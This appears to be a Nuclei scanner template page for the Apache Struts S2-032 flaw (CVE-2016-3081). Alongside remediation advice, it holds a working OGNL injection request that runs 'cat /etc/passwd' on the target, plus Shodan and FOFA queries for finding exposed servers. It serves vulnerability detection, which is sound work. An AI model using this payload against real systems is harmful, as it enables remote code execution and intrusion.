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Apache S2-032 Struts - Remote Code Execution

ID: CVE-2016-3081

Severity: high

Author: dhiyaneshDK

Tags: cve2016,cve,struts,rce,apache

Description

Section titled “Description”

Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).

YAML Source

Section titled “YAML Source”
id: CVE-2016-3081


info:
  name: Apache S2-032 Struts - Remote Code Execution
  author: dhiyaneshDK
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
  impact: |
    Remote code execution
  remediation: |
    Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3081
    - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
    - http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-3081
    cwe-id: CWE-77
    epss-score: 0.97524
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2016,cve,struts,rce,apache


http:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bc62e1049ff6ee95bbd97cf72a0421bcb0850c7284474c0232ed071ce12445d8022017eabb5c907957a20f543fdf7388069c10f1a23fc787a2485713a46a497d82f2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-3081.yaml"

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